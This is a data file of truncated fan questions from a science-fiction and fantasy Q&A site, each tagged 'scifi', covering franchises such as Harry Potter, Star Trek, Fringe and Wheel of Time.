"Title: What was the Death Eaters reaction to Sirius Black's (assumed) betrayal? Body: Did the Death Eaters buy that Sirius was one of them? He had no tattoo and never had any prior dealings with them. On top of that, according to public (mis)information, it was on Sirius Black's ... ",['scifi'] "Title: Book about a man on a space station who sees himself Body: I'm looking for a book about a man on a space station who travels through time and sees himself lurking around, but he doesn't know it and hits the intruder over the head. He is setting traps for the ... ",['scifi'] "Title: Time travel novel search Body: I've been searching for a novel I read about thirty years ago. The main character can time travel in spurts for as long as his breath lasts. He decides to see the crucifixion but is picked up by a ... ",['scifi'] "Title: A late 1980s pulp novel based on the jewish myth of the Golem Body: I read the first 40 or 50 pages of this prior to highschool, so maybe 1987. I think it was probably first released in paperback right around then, since I was too young to go to the used bookstore by ... ",['scifi'] "Title: Who was the first established mainstream hero type comic book character that either DC or Marvel killed off and left that way? Body: I know they killed Superman and brought him back. Which mainstream DC or Marvel hero type character was the first to be killed off in a comic book, never to return? ",['scifi'] "Title: Why Did Engineers Use A Flute To Start Their Spaceship? Body: Why do they use a flute to start their spaceship? Are the note played a reference to something else, or are they significant at all? ",['scifi'] "Title: What's the point of running from Agents when you can push anything to The Matrix? Body: In the matrix, outsiders were able to bring weapons. If it was based on mental projection, it would be obvious that bringing tanks was beyond their willpower (or, something similar). But, it was shown ... ",['scifi'] "Title: Did Gandalf know that the One Ring still existed during the events of the Hobbit? [duplicate] Body: In the Hobbit, when Bilbo finds his magical ring, Gandalf only warns him that some magical rings are not save because he has no idea that Bilbo's magical ring is actually the One. Does Gandalf at ... ",['scifi'] "Title: Please help me find the name of this novel Body: THis story involves a rainbow and time travel. In this story, there is a man with his daughter(around 5 years old) and a nanny. I think he runs an aircraft business. His daughter always wanted him to ... ",['scifi'] "Title: Does Banner have a medical degree? Body: In the Avengers movie, Dr. Banner is discovered treating patients for some unspecified, possibly unknown, disease in what looks to be the slums of India. From my recollection, Banner is a gamma ... ",['scifi'] "Title: Where was C-3PO between the time of Anakin departing Tatooine and Shmi's death? Body: My remembrance/assumption is that Anakin left C-3PO with Shmi, to help her, when he left Tatooine to become a Jedi. is there canon confirmation that C-3PO kept living with/being owned by Shmi till ... ",['scifi'] "Title: What were all the occasions where the Star Trek Captains have met each other? Body: According to Iszi, ""Well, it would be the only time (IIRC) where Kirk & Picard were together"" (speaking of ST: Generations)"" What are all the occasions - in movies or TV, or other licensed ... ",['scifi'] "Title: How far into our galaxy did the Doomsday Machine get? Body: The theory was that the planet killing Doomsday Machine was built by a long-gone civilization from another galaxy for use during an unknown war. It was on on course to the heart of our galaxy when the ... ",['scifi'] "Title: Where did Hellboy get the hand gun Hellboy calls the “Samaritan”? Body: How big is the hand cannon Hellboy calls the Samaritan? He uses an arsenal of weapons in the franchise, but his personal favorite seems to be the Samaritan. Where did he get it and what caliber shell ... ",['scifi'] "Title: How is there ice in King's Landing during the summer? Body: I'm only halfway through Game of Thrones (the book), and when I was reading last night, I got really caught up in the practicalities of this particular issue. From what I've read, this series takes ... ",['scifi'] "Title: Why Did the Engineer Sleep For 2000 Years? Body: In Prometheus, we saw that the last Engineer on LV-223 slept for 2000 years until humans came. Why did he sleep for 2000 years? Why didn't he go to ""Paradise"" immediately? ",['scifi'] "Title: Kids stranded on an island with psychos Body: I had a series of books when I was in high school - I think it was six books long - about a group of kids, perhaps adolescents, stranded on an island or a small grouping of islands. On the islands ... ",['scifi'] "Title: A film with main female character called Kara (or Cara) Body: I am looking for a film that was definitely shown on TV in early 90s. It is most likely an American film, because that's where most films on Russian TV at the time came from - unless they were ... ",['scifi'] "Title: Who funds the Teen Titans? Body: Where does the money for the Teen Titans come from. Who built and pays for the tower? I know Robin on the team has access to a lot of money. ",['scifi'] "Title: In Neutopia why didn't the Borax Kid teleport in Scruffy? Body: Spoiler: Why is Scruffy left out? ",['scifi'] "Title: Why Were Observers So Cruel? Body: In the last season of Fringe the Observers became cruel monsters. Why were they so cruel? They got high-tech, they were even able to observe the Big Bang. Does a lack of emotion create that cruelty? ",['scifi'] "Title: Why don't people in The Matrix notice the internal discrepancies? Body: In The Matrix it's fairly obvious to us the viewer that there is something wrong with the virtual reality. There is only one city (and it's surrounding area) that we know of and it doesn't even have a ... ",['scifi'] "Title: Why Is There No Woman In Observers Future? [duplicate] Body: In one of recent episode of Fringe, We have seen that Observers not being born, just ""manufactured"". But it is not clarify that why there is no woman in the future, women could be also ""manufactured"". ... ",['scifi'] "Title: In TV show “Continuum”, why would water be at a premium when energy is free? Body: In S1E4 of Continuum, we were told by the end that energy was cheap and plentiful, but water was at a premium (referring to the dry cleaning). If energy is cheap, cleaning water should be cheap and ... ",['scifi'] "Title: Why did December owe September?-Spoilers Body: In the final episode of Fringe (or maybe the second-to-last, I forget), September (Donald) goes to December and asks a favor of him, stating ""You owe me."" How/what did December owe? ",['scifi'] "Title: Why did the astronauts use completely glassed helmets? Body: In Prometheus, why did all the astronauts use helmets completely made of glass? I mean, is the idea that a person will look out the back of his head? Is it not safer to have helmets like astronauts ... ",['scifi'] "Title: Is Cyclop's mutant power just an organic version of Ironman's repulsor tech? Body: They occupy the same universe so we have to assume the same physics apply. Ironman's repulsor tech is described as an inertia-less one way kinetic blast. At higher energy levels, it can can even ... ",['scifi'] "Title: When did the first back-in-time Time-Traveling Robot appear in literature? Body: Which work of literature, film, or TV (or radio) program was the first to feature a sentient robot from the future that traveled back in time? ",['scifi'] "Title: Is it possible to rescue someone after he/she has been swallowed by Sarlacc? Body: Sarlacc digests its food in thousands years. And, during this period the victim is kept alive. Is it possible to rescue a victim who has been swallowed by Sarlacc? Has it been happened possibly in ... ",['scifi'] "Title: How exactly does the world-hell transition work in Constantine? Body: John Constantine explains that water acts as some sort of lubricant to facilitate the transition into the hell dimension. However, I don't see how exactly this works. In particular the film left open ... ",['scifi'] "Title: Why did the nuclear explosion cause Superman to shrivel up and absorb the life of other living things? Body: In Dark Knight Returns part II, Superman stopped a nuclear missile from hitting an island off the coast of the USA. He experienced the blast full on and it showed that he was a shriveled up, ... ",['scifi'] "Title: Why would Superman “report to authorities”? Body: In Dark Knight Returns part II, Superman is shown as pretty much a patsy to the president. He follows his orders and fights the presidents battles for him. Why would Superman ever agree to this ... ",['scifi'] "Title: Could a nonhuman-Xenomorph offspring be queen? Body: After the queen dies in the ""Alien vs Predator"" game, Specimen 6 becomes the new queen because she is the strongest living female left in the area, if I am correct. My question is: what if the only ... ",['scifi'] "Title: What is Mr. Data's full name? Body: What is the official name Doctor Noonien Soong gave to his android (Known in ST: TNG as ""Data"")? Is the entire name simply Data, or is it an acronym? ",['scifi'] "Title: Are there any other weapons designed using lightsaber technology? Body: I know Darth Maul used a lighesaber staff which was basically two lightsabers end to end. I had thought that lightsaber nunchakus would be amazing, but the fact that you'd rather quickly loose your ... ",['scifi'] "Title: What kind of battery does WALL•E run on? Body: WALL•E has been working for several hundred years and one of the keys to this is his ability to use parts of broken robots to replace his own broken parts. Now this won't work with the electrical ... ",['scifi'] "Title: Which last name should the children of Robert and Cersei pass to their children Body: For example with King Joffrey, he is (I know, I know he really isn't) the descendant of Houses Baratheon and Lannister, so because of that which last name is he passing to his children? In my country ... ",['scifi'] "Title: Is Gandalf an elf? Body: In The Hobbit: An Unexpected Journey, when Gandalf is walking alongside the Elven king Thranduil, I noticed some similarities between the two, like their height and their hair. Gandalf seems too ... ",['scifi'] "Title: Is Bran cursed? Body: In the prologue of A Dance with Dragons , Haggon (a skinchanger) forbids three things to a skinchanger: To eat of human meat. To mate as wolf with wolf. To seize the body of another man (this is the ... ",['scifi'] "Title: In The Sound Of My Voice, what was the meaning of the first scene with Carol? Body: Carol being the self-identified Justice Department agent (or was she?). She checks the room for bugs, and then examines a photo with an apparently heavy heart. Is there any more meaning to it than ... ",['scifi'] "Title: Why Gandalf said nothing when he saw Bilbo's ring Body: I don't know how it is the story in the book (I would like to know), but in the movie The Hobbit: An Unexpected Journey, Thorin asks Bilbo why he came back, and Gandalf tries to evade the question ... ",['scifi'] "Title: Why did Draco Malfoy support Viktor Krum in the Triwizard Tournament? Body: I understand why Draco wouldn't support Harry¹, but I don't understand why he wouldn't throw his support to Cedric, a fellow Hogwarts student, a well-liked guy in general, and also a Seeker, like ... ",['scifi'] "Title: Do we know how much of the ending of “A Memory of Light” did Robert Jordan write himself? Body: In a comment to this answer to a question speculating on an event in the epilogue of A Memory of Light, someone mentioned that: the ending was Robert Jordan's, written by him before he died. Is ... ",['scifi'] "Title: Sexual attraction of the Turians and Krogan towards the Asari Body: Why are the Turians and Krogans attracted towards the Asari sexually? Both Turians and Krogans are Bi-Gender species and have their own kind of females to get attracted to. The sexual attraction of ... ",['scifi'] "Title: Story where refugees get attacked by space pirates? Body: I remember that it was a family fleeing a horticulture moon or a planet and they were trying to flee to another planet but were repeatedly attacked by pirates. I think it was from the 80's. ",['scifi'] "Title: 80's story about siblings going to another realm, one falls ill in the real world and must be saved through the other one. Body: It was about a boy who went into some other realm with his brother (I think), his brother got ill or was wounded there and was now dying in the real world. The brother had to go back to the other ... ",['scifi'] "Title: Meaning of Levels of Diagnostic tests in Star Trek Body: Often in Star Trek (almost all variations of it) they talk about ""level N"" diagnostics. Is there an actual description of what the diagnostic levels mean? ",['scifi'] "Title: If one is killed with Basilisk venom, does it also destroy their soul? Body: Basilisk venom is one of the few substances in Harry Potter that can destroy horcruxes, which are fragments of the soul... so if one dies from the venom, does the venom destroy their soul as well? ... ",['scifi'] "Title: Who originally filled the basin in the horcrux cave, before Voldemort put the horcrux in it? Body: As referenced here, Kreacher was commissioned to drink the ""drink of despair"" in the horcrux cave so Voldemort could put the locket in there. Why was the basin already filled with the drink of ... ",['scifi'] "Title: According to the comics, how long is Hellboy's natural life span? Body: In the film Hellboy, when speaking about Hellboy's appearance, the aide agent Meyer replaces quips ""Think reverse dog years"" and mentions that even though Hellboy was born 60 years ago, he was ... ",['scifi'] "Title: Sixties short story with a typewriter and an alien uses a young boy's body to find an escaped criminal? Body: I'm trying to find a sixties short story of a young boy sitting at a typewriter and a host begins to type that he has to use the boy's body to find an escaped criminal from another planet. I keep ... ",['scifi'] "Title: When and why did the Asari begin referring to themselves as female? Body: While it is probably quite arguable whether or not the Asari are actually female, I think a separate question remains open as to when and why did they begin calling themselves female. Though they do ... ",['scifi'] "Title: Asimov's Foundation Comic/Manga Body: Is there any Comic/Manga or animation adaptation of the Asimov foundation trilogy ? ",['scifi'] "Title: Doctor/Martha weeping angels vs Amy/Rory weeping angels [duplicate] Body: Just rewatching Blink. Martha and the Doctor were both zapped back to 1969 by the Angels. Yet they were eventually able to get back to the Tardis (not exactly explained how) and were not stuck on ... ",['scifi'] "Title: Why did the Fringe Team's Attack via the Shipping Lane Fail? Body: In the episode ""An Origin Story"", the Fringe team attacks the future via a shipping lane, a wormhole to the future. They, apparently, successfully collapse their end of the wormhole, to no effect. The ... ",['scifi'] "Title: Why doesn't Hellboy's Rasputin get his eyes back? Body: In the film Hellboy, Rasputin opens Hellboy's portal on the island and mayhem quickly arises. During the fracas, An answer from the comics or from the film (maybe I missed it) would be great. ... ",['scifi'] "Title: Do we ever see Ishamael channel Saidin? Body: Warning: Spoilers allowed in answers Ever since The Eye of the World prologue, Ishamael/Moridin seems to channel the True Power exclusively. We know that Elan Morin Tedronai was considered Lews ... ",['scifi'] "Title: Loki's punishment Body: Would Loki have been punished at the end of the ""Thor"" movie had he not disappeared? I am sure he will get punished after returning to Asgard (at the end of the Avengers movie), as he has been a lot ... ",['scifi'] "Title: Have there been successful non-Asari inter-species relationships? Body: In the Mass Effect universe, the Asari are universally compatible for mating with other species, even regardless of gender. So, it makes sense that they are the most prominent species involved when ... ",['scifi'] "Title: Why doesn't Quark wear a headdress? Body: Through The Next Generation and Deep Space Nine, the majority of the Ferengi we see a wearing a headdress on the back of the head. Quark though, on Deep Space Nine, does not ever seem to wear one, ... ",['scifi'] "Title: What is the plot of the Star Wars Post-episode 6? [closed] Body: Allowing for the fact that any film adaptation will have creative licence, could someone please provide an overview of the plot of Star Wars Episode 7, based on the books released since. Insofar as ... ",['scifi'] "Title: Why didn't The Order & Harry apparate to the safe place instead of falling in The Battle of Seven Potters? Body: The Order Of The Phoenix tried Polyjuice Potion to trick the Death Eaters and started their voyage with slow speed, only to fall into The Battle of Seven Potters. Battle comes at cost and there was ... ",['scifi'] "Title: Why wasn't Harry made to use invisibility cloak instead of sending him in the battle of seven potters? [duplicate] Body: Possible Duplicate: When leaving Privet Drive, why did there need to be seven Potters? Even after using polyjuice potion, there was a chance that original Harry got killed by Death Eaters ... ",['scifi'] "Title: Why did skilled wizards use He-Who-Must-Not-Be-Named? Body: Pursuant to What's with ""He-Who-Must-Not-Be-Named""?, it's plausible that the typical witch or wizard would use 'He-Who-Must-Not-Be-Named'. But, why would the Aurors and those in the ... ",['scifi'] "Title: Do the Klingons or Romulans have starbases as the Federation/Cardassians do? Body: Is there any mention anywhere of Klingon or Romulan Starbases which resemble those of the Federation? We know that they have outposts and colonies. I could only think of the Cardassians having ... ",['scifi'] "Title: How does the Movie, “The Seeker - The Dark is Rising” compare to the books by Susan Cooper? Body: I've not seen the movie, but I really enjoyed the books as a child and I am getting a literature unit ready for my daughter using the books. I wondered how faithful the movie is to the books in ... ",['scifi'] "Title: Can the White Court vampires turn humans into new vampires? Body: In the Dresden Files series by Jim Butcher there were a few mentions of vampires turning humans into new vampires by the Red Court and the Black Court, but I can not recall if it can be done by the ... ",['scifi'] "Title: No-Face's ability Body: Kaonashi (No-Face) ""No-Face is a lonely being who seems to sustain itself on the emotions of those he encounters, particularly their emotional reception to his gifts."" In the film, the gold produced ... ",['scifi'] "Title: What was the nature of Solara? Body: SPOILER ALERTS Sorry, but although I was a bit vague where possible, most of this is a spoiler for the latter parts of the The Book of Eli. Please stop reading now if you've not already seen it. ... ",['scifi'] "Title: Why don't Uno and the other Shienarans go back to Shienar Body: I am referring to the Shienaran that left Shienar with Rand at the beginning of The Great Hunt (the second book of the Wheel of Time). They are seen later in the series to just be kind of wandering, ... ",['scifi'] "Title: How did Eowyn kill the Witch King? [duplicate] Body: Possible Duplicate: How Did Éowyn Slay the Witch King of Angmar if He Wasn’t Alive? I've watched The Lord Of The Rings trilogy so many times, but I have never actually read the books. ... ",['scifi'] "Title: Why did the Observers invade? Body: We have learned that the Observers are just highly evolved humans. If that's the case, what's their motive for invading our present (their past)? The most obvious answer would be to ship some ... ",['scifi'] "Title: What does the code 1123, 6536, 5321 have to do with music? Body: In the final episode of Battlestar Galactica, Starbuck enters 1123 6536 5321 as co-ordinates to jump to our Earth, from the episode it had something to do with the music. I'm wondering exactly what it ... ",['scifi'] "Title: Merlin's Wisdom and proverbs Body: Many years ago I saw a Merlin's movie where he used a proverb something like this: Is not the sword who makes the knight!!! ( this is not the correct sentence, but similar). Could someone tell ... ",['scifi'] "Title: What was the purpose of the Attic? Body: In Dollhouse, everyone fears ""the attic"" as a place from which no-one returns. In one episode we see the attic and people (all presumably Dolls) linked up in what looks like a neural network. What ... ",['scifi'] "Title: What happened to Shaidar Haran, the super Myrddraal (minor spoiler)? Body: Shaidar Haran does not seem to show up at the Last Battle. What is his fate? ",['scifi'] "Title: Do the Tinkers ever find their song? Body: This involves Memory of Light ",['scifi'] "Title: Can someone explain the end of Do Androids Dream of Electric Sheep? Body: In Philip K. Dick's Do Androids Dream of Electric Sheep? when Deckard goes to Oregon at the end of the novel, what is all that about? Did he have an epiphany? What exactly was the epiphany? Is he ... ",['scifi'] "Title: Why did the Rosen corporation want to discredit the Voight-Kampff test? Body: In Philip K. Dick's Do Androids Dream of Electric Sheep? why did the Rosen corporation want to discredit the Voight-Kampff test? If the new Nexus 6 types were to be so good and human like that they ... ",['scifi'] "Title: What was the significance of not looking back in Pet Sematary? Body: When the main character (Louis Creed) and the old man (Jud Crandall) go to the Indian burial ground, Jud tells Louis to not look behind while they are en route. I'm guessing this could have some ... ",['scifi'] "Title: What exactly did the 7 keys do at the end of the Magician King? Body: I just finished reading ""Magician King"" by Lev Grossman, but I didn't really get what the 7 keys did. Since they were trying to How exactly did the keys do that? And what's even more interesting, ... ",['scifi'] "Title: Identify this 80's styletelevision show with witches and a kid who transforms into a vehicle Body: I remember as a kid seeing a show that stuck with me for some reason, though the memory is vague enough that it might have simply been a dream, or an amalgamation of existing shows. The elements I ... ",['scifi'] "Title: Is the Jedi Knol Ven'nari able to use fire based attacks? Body: The Jedi Master Knol Ven'nari was known as the Fire Eater, and had pyrokinetic abilities. Was there any mention that she could shoot balls or streams of fire, similar to the firebenders from Avatar: ... ",['scifi'] "Title: Was the coverup of the fall of Harvey Dent from the comics? Body: In Nolan's Batman movies (2nd and 3rd), Harvey Dent falls from glory Batman takes the blame Commissioner Gordon covers it all up. Was that whole taking the fall for Dent and coverup from ... ",['scifi'] "Title: MIB3 Agent K time travels..to when? [closed] Body: In MIB3, Agent K uses this special gun to time travel from his apt. When and where does he go? We never see the older Agent K in the most of the movie till the very end when Agent J comes back. So ... ",['scifi'] "Title: What spell almost killed Hermione in The Order of the Phoenix? Body: The spell was cast without words, simply a flick of the Death Eater's wand, and a 'streak of purple flame' that lanced across her chest. It was later mentioned that the spell was weakened because of ... ",['scifi'] "Title: How does Peter stay in the primary universe, even though the Observers cease to exist? Body: In the Season 5 and series finale: Earlier on in the series we learn that: So wouldn't all this not happen when the Observers no longer exist? This would mean that Olivia and Peter never ... ",['scifi'] "Title: Why was the tender still attached? Body: Apart from the opportunity for Clara Clayton to have an exciting traversal of the distance between the back of the fuel tender and the engine (Golly!) in Back to the Future III: Was there any reason ... ",['scifi'] "Title: In Looper, why do they do this to Seth? Body: In Looper, it is established that permanent physical harm to a young looper will instantaneously affect the old version of the same looper. For example, a looper can send a message to his older self ... ",['scifi'] "Title: Why did time travelers in Timecop turn into gelatinous blobs of goo-energy if they came into contact with their former selves? Body: We're told throughout the movie that ""the same matter cannot occupy the same space"". Yet, even after a few months it's very unlikely that there are many of the same atoms in your body that were there ... ",['scifi'] "Title: What happens when Goa'uld Lord enters a Jaffa Body: When Klorel was tried in the planet of the Tollan people, he was removed from Skaara and will be sent to a Goa'uld world. Jaffas aren't influenced by Goa'uld but uses them (term comes from Teal'c when ... ",['scifi'] "Title: SG-1 A matter of time Body: Why did the Gate closed when the SG-10 Team opened it from their side but did not close when homebase dialed into the black hole planet? Supposedly its drawing power from both sides, it should have ... ",['scifi'] "Title: Why does Galactica jump so close to planets? Body: Why does Galactica choose to jump so frakking close to planets? The show often describes jump destinations as in orbit or worse, low orbit. This seems like a dangerous and risky maneuver and one that ... ",['scifi'] "Title: Children of the Gods plot inconsistency? Body: In Stargate SG-1's pilot episode - Children of the Gods, the scene opens with a group of soldiers playing poker in the gate room. These soldiers have some minor banter about how ""nobody ever comes ... ",['scifi'] "Title: How much of Cloud Atlas was real? Body: After having finished Cloud Atlas (both book and movie), I'm left with a rather perplexing question. It is lightly implied in the book that almost none of it was actually happening to real people. ... ",['scifi'] "Title: What is the deal with Daniel Jackson's sweater? Body: During Season 6 of Stargate SG1 after Daniel Jackson has died and ascended, he appears multiple times in a variety of episodes. In the vast majority of these appearances he is wearing a cream/beige ... ",['scifi'] "Title: Why does Ryan Ask this to Jack? Body: Heavy spoiler for Bioshock : ",['scifi'] "Title: The Founders, The 'Ancient Humanoids', the Preservers - are they linked? [duplicate] Body: Possible Duplicate: Did The Founders evolve from the race that seeded the Alpha Quadrant? The Star Trek canon had several references to 'ancient' originating or protective species. Among ... ",['scifi'] "Title: Why did the Female Changeling surrender? Body: At the end of Deep Space 9, Odo beams down to the surface of Cardassia to negotiate with the Female Changeling. She argues that If I [surrendered], it would be a sign of weakness... an invitation ... ",['scifi'] "Title: What is the name of a fantasy TV series that features crystals as an element a lot? Body: I believe it is a classic adventure fantasy. The protagonist is a teenaged boy with a bow and arrow and long hair. There is a girl, of course, and I think there is an evil witch, but I may be wrong on ... ",['scifi'] "Title: What spell did Dumbledore use? Body: In the Order of the Phoenix, Dumbledore uses a spell against Voldemort. The following dialogue ensues: Voldemort: ""You do not seek to kill me, Dumbledore? Above such brutality, are you?"" ... ",['scifi'] "Title: How do SG teams know how to get home? Body: Not being able to dial home from another gate was a core plot point of the movie, in fact more than half of the movie was spent with Daniel Jackson trying to work out the gate address to get the team ... ",['scifi'] "Title: Name origins for characters in Harry Potter Series Body: I was wondering if anyone knew of a source listing origins for the various Harry Potter names. I know Rowling put a lot of thought into the names she used. For example, Severus was the name of a ... ",['scifi'] "Title: Looking for a book with four-armed feline fighter-pilots looking for Earth Body: About 20 years ago I remember reading a book about a race a feline people with four arms that were fighter pilots living on a carrier. I believe they were created by humans. They were trying to find ... ",['scifi'] "Title: Where does Artemis stand in the Star Trek timeline? Body: The multiplayer co-op game and Star Trek Bridge Simualator, Artemis, presents the players with the ability to roleplay their own scenarios with their own personal crew and ship. As such, the game ... ",['scifi'] "Title: Can't recall a particular event in Lovecraft's Reanimator novel Body: I'm referring to Lovecraft's Herbert West–Reanimator. Particularly to the chapter where he succeeds to reanimate an intellectual being(since he just got him killed ).I can't recall if this man ... ",['scifi'] "Title: Why was Dumbledore worried by the cut in Harry's arm? Body: In the Goblet of Fire, Harry is cut in the arm by Pettigrew. When Dumbledore learns it, he's extremely worried and wants to check Harry's arm. Why? When Harry told of Wormtail piercing his arm ... ",['scifi'] "Title: How on Earth did the Dursleys get off “The Rock?” Body: In Harry Potter and the Philosopher's Stone (or Sorcerer's Stone), Hagrid Tells Harry he ""flew"" when asked how he'd gotten to the rock, but the two take the boat back to the mainland leaving the ... ",['scifi'] "Title: The Last Battle - farmers at the river Body: In ""A Memory of Light"", Mat told the Asha'man that it's a story he'd tell him later. I must have missed something. ",['scifi'] "Title: When else has a certain character died? (Wheel of Time, minor spoiler) Body: Now, this is probably a stupid question, but in a Memory of Light Birgitte mentions to Mat that the time he got hung was not the time he ""died and lived again,"" but that he does not remember it. Now, ... ",['scifi'] "Title: Why are Dwarves usually shown to like Axes? Body: Inspired by this question and this question, why do dwarves use (battle)axes so much? They are meant to be miners and smiths traditionally, which explains hammers and picks, but why would they have a ... ",['scifi'] "Title: Would a lightsaber melt or vaporize a bullet? Body: Related: Why would a slug thrower be more effective against a lightsaber/Jedi than a blaster? Assuming that a lightsaber is a magnetically-contained tube of plasma (although theories are abound as to ... ",['scifi'] "Title: In “Revolt in the Stars”, why did Xenu decide to destroy the excess aliens? Body: In L.Ron Hubbard's screenplay ""Revolt in the Stars"", it says Xenu was about to lose power but it doesn't give reason as to how this achieved his goal. He killed billions of aliens. It would seem to be ... ",['scifi'] "Title: Why did Sting glow blue when Orcs were near by? Body: Out of all the ancient blades made by Elvish weapon-smiths in Gondolin, why was Sting given a distinctive and unique glow whenever an Orc was close by? Secondly, why would they put it on such a ... ",['scifi'] "Title: Is The Doctor (EMH Mark I) technologically similar to the holodeck? Body: The creator of the Emergency Medical Hologram - EMH (beginning with Mark I), Dr. Lewis Zimmerman, was the 'Director of Holographic Imaging and Programming' at Jupiter Station. It can be expected his ... ",['scifi'] "Title: Childbirth after the event in Childhood's End Body: In Arthur C. Clarke's Childhood's End, after the event where the children of Earth It's said in the book that no new children were born, because nobody saw the point of procreating any more. I ... ",['scifi'] "Title: Superman vs. The Elite: Stripping Powers Body: Just finished watching Superman vs. The Elite and at the end Superman does the following: So the basic premise of the story is that it is wrong to kill, because you end up turning into what you are ... ",['scifi'] "Title: Can destruction of the black hole restore original timeline? Body: Nero travelled back in time which created a new timeline (Star Trek 2009 movie). The same thing happened when Vosk travelled back in time (Star Trek: Enterprise season 4). When time machine of Vosk ... ",['scifi'] "Title: What was Azog's role in canon? Body: In The Hobbit: An Unexpected Journey movie, Azog features in many places whereas I do not recollect him being mentioned in the book apart from the fact that he was the one who killed Thror, Thorin's ... ",['scifi'] "Title: Was Po's evil side indicative of his true feelings? Body: In Kung Fu Panda: Legends of Awesomeness, Season 1 Episode 10, we see that Po is split into two parts - his good part and his bad part. We see that the bad Po develops friendship with Crocodiles, ... ",['scifi'] "Title: How did the Andorians exit the Delphic Expanse? Body: It was mentioned many times in Star Trek: Enterprise that the thermobaric cloud surrounding the Delphic Expanse would let you into the Delphic Expanse, but not let you out of the Delphic Expanse. One ... ",['scifi'] "Title: Did anyone make a count on the number of time Egwene/Nynaeve/Elayne got caught? Body: They got caught so easily and I just would to would they got caught more in the future. From what I can remember ( to The Shadow Rising ), Egwene and Perrin got caught by the Children of the Light. ... ",['scifi'] "Title: Did Jordan base the Aiel on Herbert's Fremen? Body: Were the Wheel of Time's Aiel based on Dune's Fremen? Did Robert Jordan acknowledge or otherwise address this connection? ",['scifi'] "Title: Why don't the people alive in the Walking dead use animals? [closed] Body: Why don't the people alive in the Walking dead use animals? Since animals are not affected by the virus they could make excellent zombie killers. Also those animals, if carnivorous, would have an ... ",['scifi'] "Title: Does Emperor Palpatine have a first name? Body: Has the first name of the Emperor Palpatine been mentioned in any of the Extended Universe Star Wars works? ",['scifi'] "Title: Why did Ambassador Jeffrey Sinclair not want Garibaldi to join him and others on War Without End mission? Body: In the episode ""War Without End"": I did not understand the reasoning explained in a scene explained by Jeffrey Sinclair to Garibaldi at all. However.. What was the reasoning behind Jeffrey ... ",['scifi'] "Title: What's on Belgarion's Medallion? Body: I was just re-reading the Belgariad series and noticed that Garion's medallion is never described but all the others are. Belgarath has a wolf, Polgara has an owl, and Ce'Nedra has a giant tree. ... ",['scifi'] "Title: Why didn't the rebels on Hoth use X-Wings to fight AT-ATs? Body: This question and answers do a good job explaining why the Imperial forces didn't have fighter protection for their ground force on Hoth. But nothing there explains why the Rebels didn't use X-Wings ... ",['scifi'] "Title: What scifi novel with an eco-theme had a separate, primitive species of humans and a kind of insect hive mind? Body: I'm trying to recall a novel that I read in the 80s/early 90s. Unfortunately I can't remember either the title or the author. Here's what I can remember: There was a separate race of human being ... ",['scifi'] "Title: How often could Bink's mother use her talent? Body: In A Spell For Chameleon, Bink's mother is introduced in the beginning of the book as having the talent of reversing time for 5 seconds with her unaffected by this time lapse. So she can fix a small ... ",['scifi'] "Title: Why doesn't Helo see the lurking Cylon observers as he travels with Boomer? Body: I know Number Six did something to Baltar and that's how the phantom Cylon agent appears to him and can't be seen by anybody else. Why doesn't Helo see the Cylons that are monitoring Him and Boomer as ... ",['scifi'] "Title: Have there been any canonical references to the holodeck/holosuites being used for virtual physical 'partnerings' with holodeck-produced constructs? Body: Carnal release is a valid stress relief; and unless the Federation uses hormonal suppressants, it doesn't take a 'perv angle' to realize that the holodecks may be considered for this. I can also see ... ",['scifi'] "Title: Was Ishara actually Tasha Yar's sister? Body: In the Next Generation episode Legacy the Enterprise crew is introduced to someone that they are told is Tasha Yar's sister, Ishara Yar. The crew is cautious at first, but after a DNA comparison by ... ",['scifi'] "Title: Can and Does Commander Data make frequent backup's of his programs and memories? Body: We have seen that Commander Data attempted to transfer his memories and programs to the B-4 model in Star Trek Nemisis, and also tranferred his daughter's memories before she died to his circuits. So ... ",['scifi'] "Title: Did Starfleet Research departments try to make use of Data's experiment to produce another android (Lal)? Body: Given the success (to a certain extent) of Commander Data to create another android, mainly his daughter Lal, did not that encourage starfleet research to attempt to make use of his partial success ... ",['scifi'] "Title: Deflector vs Metaphasic shields in Star Trek? Body: What are the advantages and disadvantages of deflector and metaphasic shields? Which one is superior? Aside from the later being able to protect the ship from high temperature of the sun corona, do ... ",['scifi'] "Title: Did Starfleet ships get upgrades to use metaphasic shields? Body: After the success of Dr.Reyga metaphasic shield technology, and the the success (to a certain limit) of Data and La Forge's Metaphasic program for the Enterprise-D as seen in ""Descent, Part II"", has ... ",['scifi'] "Title: What was the particular risk in the road out of the Isenmouthe? Body: Some days after they venture into Mordor, Frodo and Sam run into an Orc army and are forced into its ranks. They manage to get away quite near to the Isenmouthe, and then the head east beside the road ... ",['scifi'] "Title: Why is Starfleet HQ in San Francisco? Body: San Francisco seems an odd choice for Starfleet Headquarters to me, especially within sight of the Golden Gate Bridge. It's such a densely populated area, I would figure that it's one of the last ... ",['scifi'] "Title: Was there any planned, ultimate resolution to the storyline of the Dead Zone television series? Body: I'm referring to the Anthony Michael Hall, Nicole DeBoer series of 2002. Senator Stillson was a very different character from either the book or the movie, and had a lot more development. Does ... ",['scifi'] "Title: Is there anything special about the Sunnydale Hellmouth? Body: One of the premises of Buffy the Vampire Slayer is that extra amounts of weird things because Sunnydale sits on a Hellmouth. The show mentions that Cleveland also has its own Hellmouth, and an issue ... ",['scifi'] "Title: Where does the monster go after getting murdered in Purgatory? Body: And I quote ""If you murder a monster in monster heaven where does it go?"" - Castiel, Supernatural Season 8 Episode 5 Vampires, Leviathans, werewolves etc. suffer in Purgatory after getting murdered ... ",['scifi'] "Title: What are Starfleet Academy required courses for officers? Body: We know that Starfleet academy offers different majors according to its needs. And those are some of the named courses to have been shown that many officers took according to their majors. So my ... ",['scifi'] "Title: A story about passengers and pilots getting food-poisoned causing a disastrous terminal situation? [closed] Body: About 5-6 years before,I started reading a novel which started something like..a flight taking off..two different dishes served in the plane,out of which one is contaminated..half the passengers fall ... ",['scifi'] "Title: Did Boba-Fett ever have children (or clones) of his own? Body: Given that his 'father', Jango, raised him as a clone-son and likely wouldn't have the normal parent-child relationship, I would be curious to see if he had a child of his own, and if the child would ... ",['scifi'] "Title: Who are the rest of members at Elrond's Council? Body: In Peter Jackson's film The Fellowship of the Ring, when the Council of Elrond takes place it shows a total of 22 members: We all know the names of the ones who were part of the Fellowship, but I ... ",['scifi'] "Title: In the opening sequence of the walking dead, what are the crows feasting on? Body: I've watched the opening of The Walking Dead countless times, but I can't identify the white-ish animal the crows are eating on the road. My fiancé and I jokingly call it the rabbit/cat/teddy bear. ",['scifi'] "Title: Is there no air superiority in Warhammer 40k? Body: In real life warfare, gaining air superiority is very important and often a deciding factor. However, in Warhammer 